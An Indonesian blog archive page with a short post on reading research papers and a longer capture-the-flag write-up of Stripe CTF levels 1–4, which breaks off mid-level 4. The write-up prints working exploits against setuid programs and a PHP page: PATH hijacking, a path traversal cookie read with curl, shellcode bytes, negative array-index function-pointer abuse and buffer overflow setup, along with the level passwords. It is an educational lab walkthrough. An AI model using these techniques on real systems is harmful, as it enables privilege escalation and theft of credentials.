if99.net

IF99 ITB

Archive for February, 2012

Mulanya Terpaksa Jadinya Terbiasa

without comments

Paper. Dulu, waktu belum studi lanjut dan masih asyik dengan aktivitas mengajar, kegiatan membaca paper/artikel ilmiah, terutama dalam bahasa Inggris, sangat jarang dilakukan. Alasannya macam-macam, mulai dari sibuk belajar, sibuk mengajar, sibuk koreksi, sibuk membimbing, sibuk menyiapkan tugas, dll. Sekarang saat sedang melanjutkan studi mau tidak mau membaca paper/artikel ilmiah menjadi keharusan yang tidak bisa ditawar lagi.

Paper ilmiah menjadi rujukan utama dari setiap tugas mata kuliah yang saya tempuh, disamping buku teks yang juga disediakan. Mau tidak mau harus mengambil yang berbahasa Inggris, karena disamping penelitiannya lebih up-to-date, penjelasannya pun lebih lengkap dan jelas. Mulanya, sudah langsung terbayang betapa sulitnya memahami penjelasan berbahasa Inggris, apalagi jika background kita tidak sejalan dengan topik yang dijelaskan. Yang terpikir adalah, bagaimana cara cepat memahami paper tanpa harus membaca keseluruhan tulisannya?

Percobaan pertama, saya baca dengan cara meloncat-loncat kalimat, tidak runut. Dari kalimat pertama langsung ke kalimat ke-tiga, atau akhir paragraf. Nyatanya, sampai akhir halaman paper saya tak kunjung paham. Percobaan kedua, dibaca per kalimat mulai dari abstrak hingga kesimpulan. Hasilnya, maksud dari paper itu justru tidak terpahami dengan baik karena terdistorsi dengan uraian di bagian metodologi yang seringkali rumit dan butuh banyak penjelasan. Percobaan ketiga, mengikuti beberapa saran, dibaca dulu bagian abstrak, lanjut ke kesimpulan, jika cukup dimengerti dan menarik baru lanjut ke bagian pendahuluan. Ternyata, cara ketiga lebih ampuh. Dengan membaca abstrak, saya memperoleh gambaran garis besar paper tersebut, dilanjutkan dengan membaca kesimpulan saya jadi tahu tingkat keberhasilan dan kelebihan/kekurangan dari penelitian tersebut.

Selain itu, saat menemukan pernyataan-pernyataan penting saya tidak lupa menandai dengan “comment tool” yang ada di aplikasi PDF reader. Yah, memang semua paper/artikel ilmiah itu saya unduh dalam bentuk PDF. Dengan menandai maka kita akan lebih mudah menelusuri titik-titik penting pada paper. Cara lain yang juga ampuh, selain menandai, adalah membuat resume atau menuliskan kembali hal-hal menarik/penting yang kita dapatkan dari paper.

Nah, setelah menemukan cara paling pas untuk membaca paper, kegiatan membaca paper menjadi lebih menyenangkan, walaupun tetap merasa bosan ketika paper yang harus dibaca tebalnya berpuluh-puluh halaman. Teringat pepatah, alah bisa karena biasa. Awalnya terpaksa tapi jika terus dibiasakan lama-lama akan terbiasa.

Wassalam,

 


Written by indahgita

February 29th, 2012 at 8:26 am

Posted in kuliah

Stripe CTF Level 1-5

without comments

Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.

Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.


Level 01

Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:

Welcome to the Stripe CTF challenge!
 
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
 
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
 
We've created a scratch directory for you in /tmp.
 
There are a total of 6 levels in this CTF; if you're stuck, feel free
to email ctf@stripe.com for guidance.

Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.

Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.

-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01

Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$

Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?

Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.

#include 
#include 
 
int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}

Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.

Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.

Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv

Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.

Level 02

Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.

Congratulations on making it to level 2!
 
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
 
You can find the source code for level02.php in /var/www/.

Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.

Mari kita lihat source code aplikasinya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
    function random_string($max = 20){
        $chars = "abcdefghijklmnopqrstuvwxwz0123456789";
        for($i = 0; $i < $max; $i++){
            $rand_key = mt_rand(0, strlen($chars));
            $string  .= substr($chars, $rand_key, 1);
        }
        return str_shuffle($string);
    }
 
    $out = '';
    if (!isset($_COOKIE['user_details'])) {
      $out = "<p>Looks like a first time user. Hello, there!</p>";
      $filename = random_string(16) . ".txt";
      $f = fopen('/tmp/level02/' . $filename, 'w');
 
      $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT'];
      fwrite($f, $str);
      fclose($f);
      setcookie('user_details', $filename);
    }
    else {
      $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
    }
 
?>
 
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p><?php echo $out ?></p>
      <?php
        if (isset($_POST['name']) && isset($_POST['age'])) {
          echo "You're ".$_POST['name'].", and your age is ".$_POST['age'];
        }
        else {
      ?>
      <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
      <?php   } ?>
    </div>
  </body>
</html>

Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.

Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?

Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.

Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.

$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.

$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>Or0m4UX07b
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Level 03

Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.

Congratulations on making it to level 3!
 
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.

Sebelumnya mari kita coba dulu aplikasi /levels/level03.

level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length

Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?

Berikut ini adalah source code aplikasinya.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
 
#define NUM_FNS 4
 
typedef int (*fn_ptr)(const char *);
 
int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}
 
int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}
 
int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}
 
int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}
 
  printf("Length of string '%s': %d\n", str, len);
  return 0;
}
 
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
 
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}
 
int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
 
  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  // Parse supplied index
  index = atoi(argv[1]);
 
  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  return truncate_and_call(fns, index, argv[2]);
}

Unsafe Function Pointer Usage

Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.

Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.

Array index out of bounds

Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.

Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).

Negative index array

Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?

index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.

Cara 1

Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).

Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).

$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax

Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.

Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.

Jadi payload yang akan diinjeksi adalah:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08

35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?

Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.

Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:

$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv

Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.


Cara 2

Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.

level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>'
0804875b <run>:

Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:

cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08

Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).

$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
 
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62
 
(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b <run>

Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().

Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().

$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP

Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.

Level 04

Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password

Congratulations on making it to level 4!
 
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!

Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Source code dari aplikasi ini adalah:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}
 
int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.

Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:

[1036 byte shellcode + lain2] + [4 byte return address]

Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.

Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.

$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax

Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.

